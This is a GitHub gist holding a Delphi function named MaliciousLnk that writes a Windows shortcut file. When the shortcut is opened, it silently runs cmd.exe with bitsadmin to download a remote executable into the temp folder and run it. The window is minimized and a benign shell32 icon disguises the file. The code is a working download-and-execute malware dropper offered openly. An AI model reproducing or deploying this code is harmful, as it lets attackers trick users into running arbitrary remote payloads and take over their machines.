Skip to content

Instantly share code, notes, and snippets.

@DarkCoderSc
Created May 10, 2018 17:30
Show Gist options
  • Save DarkCoderSc/1952acb687ba57273ae948a5cda0e833 to your computer and use it in GitHub Desktop.
Save DarkCoderSc/1952acb687ba57273ae948a5cda0e833 to your computer and use it in GitHub Desktop.
uses ActiveX, ShlObj, ComObj;
// ...
function MaliciousLnk(fileUrl, destFile : String) : Boolean;
var cObject : IUnknown;
shellLink : IShellLink;
PFile : IPersistFile;
LinkName : string;
Cmd : String;
begin
result := false;
CoInitialize(nil);
try
cObject := CreateComObject(CLSID_ShellLink);
shellLink := cObject as IShellLink;
PFile := cObject as IPersistFile;
Cmd := '/C "c:\windows\system32\bitsadmin.exe /transfer downloader /priority normal "' + fileURL + '" %temp%\tmp.exe & %temp%\tmp.exe"';
shellLink.SetDescription('www.phrozen.io');
shellLink.SetPath('cmd.exe');
shellLink.SetArguments(PWideChar(cmd));
shellLink.SetShowCmd(SW_SHOWMINNOACTIVE);
shellLink.SetWorkingDirectory('%windir%\system32\');
shellLink.SetIconLocation('shell32.dll', 1);
result := PFile.Save(PWideChar(destFile), false) = S_OK;
finally
CoUninitialize();
end;
end;
//...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment